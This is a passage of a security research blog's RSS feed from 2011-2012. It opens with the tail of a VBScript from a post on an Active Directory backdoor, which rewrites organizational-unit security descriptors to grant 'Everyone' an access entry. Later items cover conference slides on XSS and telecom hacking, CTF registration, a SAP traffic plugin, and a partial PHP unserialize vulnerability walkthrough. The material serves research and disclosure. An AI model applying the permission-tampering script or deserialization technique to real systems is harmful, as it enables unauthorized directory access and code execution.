If (objParent.Class = "organizationalUnit") Then&lt;br /&gt;
ReDim Preserve arrContainer(i + 1)&lt;br /&gt;
arrContainer(i) = objChild.ou&lt;br /&gt;
i=i+1&lt;br /&gt;
Call EnumOUs(objParent)&lt;br /&gt;
Else&lt;br /&gt;
ReDim Preserve arrContainer(i + 1)&lt;br /&gt;
arrContainer(i) = objChild.ou &amp;amp; ChrW(128)&lt;br /&gt;
i=i+1&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
Function OUAddAce(OU)&lt;br /&gt;
&lt;br /&gt;
Dim objSdUtil, objSD, objDACL, objAce&lt;br /&gt;
Set objOU = GetObject ("LDAP://" &amp;amp; OU) &lt;br /&gt;
&lt;br /&gt;
Set objSdUtil = GetObject(objOU.ADsPath)&lt;br /&gt;
Set objSD = objSdUtil.Get("ntSecurityDescriptor")&lt;br /&gt;
Set objDACL = objSD.DiscretionaryACL&lt;br /&gt;
Set objAce = CreateObject("AccessControlEntry")&lt;br /&gt;
&lt;br /&gt;
objAce.Trustee = "Everyone"&lt;br /&gt;
objAce.AceFlags = 2&lt;br /&gt;
objAce.AceType = 6&lt;br /&gt;
objAce.AccessMask = 16&lt;br /&gt;
objAce.Flags = 1&lt;br /&gt;
objAce.ObjectType = "{E48D0154-BCF8-11D1-8702-00C04FB96050}"&lt;br /&gt;
objDacl.AddAce objAce&lt;br /&gt;
&lt;br /&gt;
objSD.DiscretionaryAcl = objDacl&lt;br /&gt;
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)&lt;br /&gt;
objSDUtil.SetInfo&lt;br /&gt;
&lt;br /&gt;
Set objNtSecurityDescriptor = objOU.Get("ntSecurityDescriptor")&lt;br /&gt;
intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control&lt;br /&gt;
intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &amp;amp;H1000&lt;br /&gt;
objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl&lt;br /&gt;
objOU.Put "ntSecurityDescriptor", objNtSecurityDescriptor&lt;br /&gt;
objOU.SetInfo&lt;br /&gt;
&lt;br /&gt;
End Function&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-5817426361212371123?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2012/01/backdoor-in-next-generation-active.html</link><author>noreply@blogger.com (Dmitry Evteev)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-4LyGFN-AeIA/TwsZv1PCt1I/AAAAAAAABXs/KOMhfG3zgBQ/s72-c/m1.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-245609366032683999</guid><pubDate>Thu, 29 Dec 2011 14:57:00 +0000</pubDate><atom:updated>2011-12-29T06:57:56.307-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Windows GDI</category><title>Intercepting Windows Printing by Modifying GDI Subsystem</title><description>Artyom Shishkin about Windows GDI 


&lt;div style="width:425px" id="__ss_10716698"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/phdays/intercepting-windows-printing-by-modifying-gdi-subsystem" title="Intercepting Windows Printing by Modifying GDI Subsystem" target="_blank"&gt;Intercepting Windows Printing by Modifying GDI Subsystem&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/10716698" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/phdays" target="_blank"&gt;Positive Hack Days&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-245609366032683999?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/12/intercepting-windows-printing-by.html</link><author>noreply@blogger.com (Positive Research)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-7273489869209091133</guid><pubDate>Thu, 29 Dec 2011 14:48:00 +0000</pubDate><atom:updated>2011-12-29T06:56:16.584-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">XSS</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><title>Root via XSS</title><description>Denis Baranov's presentations about XSS 

&lt;div style="width:425px" id="__ss_10716861"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/phdays/root-via-xss" title="Root via XSS" target="_blank"&gt;Root via XSS&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/10716861" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/phdays" target="_blank"&gt;Positive Hack Days&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-7273489869209091133?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/12/root-via-xss.html</link><author>noreply@blogger.com (Positive Research)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-3484287726760552864</guid><pubDate>Wed, 14 Dec 2011 11:47:00 +0000</pubDate><atom:updated>2011-12-14T05:45:54.820-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">positive technologies</category><category domain="http://www.blogger.com/atom/ns#">penetration testing</category><category domain="http://www.blogger.com/atom/ns#">information security</category><title>How to Hack a Telecommunications Company and Stay Alive</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;Sergey Gordeychik, Technical Director of Positive
Technologies, presented his research work on information security of
telecommunications companies at the&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;&lt;a href="http://zeronights.ru/"&gt;&lt;span lang="EN-US"&gt;
&lt;/span&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/goog_831981281"&gt;ZeroNight&lt;/a&gt;&lt;/span&gt;&lt;a href="http://zeronights.ru/"&gt; &lt;/a&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;conference.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;How is penetration testing performed for
telecom networks? What dangers to expect from subscribers? How to avoid
financial losses under hacker attacks?&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;See his 71-slide presentation &lt;i&gt;How to Hack a
Telecommunications Company and Stay Alive&lt;/i&gt; under the cut.&lt;/span&gt;&lt;/div&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;span lang="EN-US" style="color: #1f497d;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div id="__ss_10587781" style="width: 510px;"&gt;
&lt;b style="display: block; margin: 12px 0 4px;"&gt;&lt;a href="http://www.slideshare.net/phdays/how-to-hack-a-telecommunication-company-and-stay-alive-gordeychik" target="_blank" title="How to hack a telecommunication company and stay alive. Sergey Gordeychik"&gt;How to hack a telecommunication company and stay alive. Sergey Gordeychik&lt;/a&gt;&lt;/b&gt; &lt;iframe frameborder="0" height="426" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/10587781" width="510"&gt;&lt;/iframe&gt; &lt;br /&gt;
&lt;div style="padding: 5px 0 12px;"&gt;
View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/phdays" target="_blank"&gt;Positive Hack Days&lt;/a&gt; &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-3484287726760552864?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/12/ow-to-hack-telecommunications-company.html</link><author>noreply@blogger.com (Positive Research)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-8363981560149564531</guid><pubDate>Fri, 18 Nov 2011 11:02:00 +0000</pubDate><atom:updated>2011-12-05T23:48:59.410-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">video</category><category domain="http://www.blogger.com/atom/ns#">phdays</category><category domain="http://www.blogger.com/atom/ns#">photos</category><title>Positive Hack Days Forum</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;
&lt;center&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://3.gvt0.com/vi/TcFK5ftO3WM/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/TcFK5ftO3WM&amp;fs=1&amp;source=uds" /&gt;  &lt;param name="bgcolor" value="#FFFFFF" /&gt;  &lt;embed width="320" height="266"  src="http://www.youtube.com/v/TcFK5ftO3WM&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;PHD 2011-2012 from&amp;nbsp; &lt;a href="http://vimeo.com/ptsecurity"&gt;Positive Technologies&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/center&gt;&lt;br /&gt;
&lt;br /&gt;
Registration on Positive Hack Days 2012 is open - &lt;a href="http://phdays.com/registration.asp"&gt;http://phdays.com/registration.asp&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-8363981560149564531?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/11/positive-hack-days-forum.html</link><author>noreply@blogger.com (Dmitry Evteev)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-6082251240225136621</guid><pubDate>Mon, 14 Nov 2011 16:17:00 +0000</pubDate><atom:updated>2011-11-15T03:02:45.307-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">quals</category><category domain="http://www.blogger.com/atom/ns#">ctf</category><category domain="http://www.blogger.com/atom/ns#">phdays</category><title>PHD CTF Quals opens up a team registration for the information security contests</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;The coming December will see a qualification competition for &lt;a href="http://phdays.com/ctf_general.asp"&gt;PHD CTF&lt;/a&gt;, an international information security contest. The main contests will be held on May 30-31, 2012, in Moscow, Russia, as a part of &lt;a href="http://phdays.com/"&gt;Positive Hack Days&lt;/a&gt;, an international forum on information security.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://3.bp.blogspot.com/-x7n2xLfQuD8/TsJFtB5KJaI/AAAAAAAABVI/5HR3kQuCmCw/s1600/cyberwars.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="48" src="http://3.bp.blogspot.com/-x7n2xLfQuD8/TsJFtB5KJaI/AAAAAAAABVI/5HR3kQuCmCw/s200/cyberwars.png" width="200" /&gt;&lt;/a&gt;This year everyone can participate in the qualification competitions: either in &lt;a href="http://phdays.com/ctf_quals.asp"&gt;CTF Quals&lt;/a&gt;, or in &lt;a href="http://phdays.com/ctf_afterpaty.asp"&gt;CTF Afterparty&lt;/a&gt;. The competitions will contest participants’ skills of information security assessment, vulnerability search and exploitation, reverse engineering and hacking in general. The contest conditions will be as close to the real-life ones, as possible: vulnerabilities used for PHD CTF Quals and CTF Afterparty are not made-up but taken from the “wildlife”.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
PHD CTF Quals, held on December 10-11, will identify the best teams, who will compete at the main contests on May 30-31, 2012, at the Positive Hack Days forum.&lt;br /&gt;
&lt;br /&gt;
December 12-25 will carry on with individual competitions: the top participants will be awarded with diplomas and certificates from Positive Technologies and will be able to take part in the May contests at the forum.&lt;br /&gt;
&lt;br /&gt;
Registration for the qualification competition is now open.&lt;br /&gt;
&lt;br /&gt;
To register for PHD CTF Quals, visit &lt;a href="http://phdays.com/smt.asp?gnum=0"&gt;http://phdays.com/smt.asp?gnum=0&lt;/a&gt;&lt;br /&gt;
To register for PHD CTF Afterparty, visit &lt;a href="http://phdays.com/smt.asp?gnum=1"&gt;http://phdays.com/smt.asp?gnum=1&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The participant registration for PHD CTF Quals and PHD CTF Afterparty is closing on November 28, 2011.&lt;br /&gt;
&lt;br /&gt;
For detailed information about the competition visit the corresponding sections of our web site: &lt;a href="http://www.phdays.ru/"&gt;www.phdays.ru&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-rFLmwVlq3ZE/TsJGpGRnc5I/AAAAAAAABVQ/Og2XuQ7E0Cw/s1600/00.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="86" src="http://4.bp.blogspot.com/-rFLmwVlq3ZE/TsJGpGRnc5I/AAAAAAAABVQ/Og2XuQ7E0Cw/s400/00.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-6082251240225136621?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/11/phd-ctf-quals-opens-up-team.html</link><author>noreply@blogger.com (Dmitry Evteev)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-x7n2xLfQuD8/TsJFtB5KJaI/AAAAAAAABVI/5HR3kQuCmCw/s72-c/cyberwars.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-7983629587782224779</guid><pubDate>Tue, 11 Oct 2011 13:55:00 +0000</pubDate><atom:updated>2011-10-11T12:12:34.338-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SAP DIAG</category><category domain="http://www.blogger.com/atom/ns#">SAP</category><category domain="http://www.blogger.com/atom/ns#">Wireshark</category><title>SAP DIAG Decompress plugin for Wireshark</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Cxwgs9KX40c/TpRJ9N1vA_I/AAAAAAAAAGA/ZJbCvOE9dRo/s1600/sap_img.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://4.bp.blogspot.com/-Cxwgs9KX40c/TpRJ9N1vA_I/AAAAAAAAAGA/ZJbCvOE9dRo/s200/sap_img.jpg" width="192" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font: 13.0px Arial; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&lt;b&gt;SAP DIAG Plugin&lt;/b&gt; extends the basic functionality of the &lt;b&gt;WireShark&lt;/b&gt; network packet analyzer and provides additional features of SAP DIAG protocol analysis. This extension allows one to collect and decompress SAP DIAG packets in the course of interaction between SAP FronTend client software and SAP application servers.&lt;/div&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Arial;"&gt;&lt;b&gt;Author: Vladimir Zarichnyy (Positive Research Center)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;License:&amp;nbsp;AS IS&lt;/span&gt;&lt;br /&gt;
&lt;div style="font: 13.0px Arial; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font: normal normal normal 13px/normal Arial; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: small;"&gt;Version:&amp;nbsp;0.1b&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Download URL:&amp;nbsp;&lt;a href="http://ptsecurity.com/download/pt_sap_diag_wireshark_plugin.zip"&gt;pt_sap_diag_wireshark_plugin.zip&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Times; font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a href="http://4.bp.blogspot.com/-2dfaPHBGu8I/TpRGBGjWG-I/AAAAAAAAAF4/n4FjT6EAtNs/s1600/pt_sap_diag_wireshark_example.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://4.bp.blogspot.com/-2dfaPHBGu8I/TpRGBGjWG-I/AAAAAAAAAF4/n4FjT6EAtNs/s320/pt_sap_diag_wireshark_example.png" width="320" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style="font: 13.0px Arial; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Setup:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: 13px;"&gt;Plugin work only in Wireshark for Windows.&lt;/span&gt;&lt;br /&gt;
&lt;div style="font: 13.0px Arial; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Installation steps: you must copy plugin pt_sap_diag_wireshark_plugin.dll in folder %WiresharkInstallDir%/plugins/%version%&lt;/span&gt;&lt;/div&gt;&lt;div style="font: 13.0px Arial; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style="font: 13.0px Arial; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;In future versions:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font: 13.0px Arial; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;- Open Source (GPL)&lt;/span&gt;&lt;/div&gt;&lt;div style="font: 13.0px Arial; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;- Auto SAP account grabber (to file)&lt;/span&gt;&lt;/div&gt;&lt;div style="font: 13.0px Arial; margin: 0.0px 0.0px 0.0px 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-7983629587782224779?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/10/sap-diag-decompress-plugin-for.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-Cxwgs9KX40c/TpRJ9N1vA_I/AAAAAAAAAGA/ZJbCvOE9dRo/s72-c/sap_img.jpg" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-8281391534375771806</guid><pubDate>Wed, 21 Sep 2011 12:27:00 +0000</pubDate><atom:updated>2011-09-21T06:13:45.152-07:00</atom:updated><title>ASV Vulnerabilities</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-BvtQjjPpASE/TnngfcBnpnI/AAAAAAAAAAY/rfE-o_SKyIQ/s1600/screen.png"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 200px; height: 130px;" src="http://4.bp.blogspot.com/-BvtQjjPpASE/TnngfcBnpnI/AAAAAAAAAAY/rfE-o_SKyIQ/s200/screen.png" alt="" id="BLOGGER_PHOTO_ID_5654797637843920498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;When applying for a PCI DSS ASV certificate we came across a service based on the &lt;i style=""&gt;Qcodo&lt;/i&gt;&lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; framework with quite an amusing vulnerability in it. The vulnerability is caused by the peculiar behavior of the PHP interpreter that occurs when deserializing inherited objects. All versions of this CMS proved vulnerable. &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;1) Let’s find &lt;i style=""&gt;unserialize() &lt;/i&gt;in the QFormBase class, in the following method:&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;public static function Unserialize($strPostDataState) {&lt;br /&gt;// Setup and Call the FormStateHandler to retrieve the Serialized Form&lt;br /&gt;$strLoadCommand = array(QForm::$FormStateHandler, 'Load');&lt;br /&gt;$strSerializedForm = call_user_func($strLoadCommand, $strPostDataState);&lt;br /&gt;if ($strSerializedForm) {&lt;br /&gt;// Unserialize and Cast the Form&lt;br /&gt;$objForm = unserialize($strSerializedForm);&lt;br /&gt;$objForm = QType::Cast($objForm, 'QForm');&lt;br /&gt;// Reset the links from Control-&amp;gt;Form&lt;br /&gt;if ($objForm-&amp;gt;objControlArray) foreach ($objForm-&amp;gt;objControlArray as $objControl)&lt;br /&gt;$objControl-&amp;gt;SetForm($objForm);&lt;br /&gt;// Return the Form&lt;br /&gt;return $objForm;&lt;br /&gt;} else&lt;br /&gt;return null;&lt;br /&gt;}&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;2) Likewise, in the same class, there is another method: &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;span style="" lang="EN-US"&gt;                               &lt;code&gt;protected function Render() {&lt;br /&gt;require($this-&amp;gt;HtmlIncludeFilePath);&lt;br /&gt;}&lt;/code&gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;                               &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;3) The method is called from&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: left;"&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;&lt;code&gt;&lt;code&gt;public static function Run($strFormId, $strAlternateHtmlFile = null) {&lt;/code&gt;&lt;/code&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 115%; text-align: justify;"&gt;&lt;span style="" lang="EN-US"&gt;4) The call looks like this:&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;  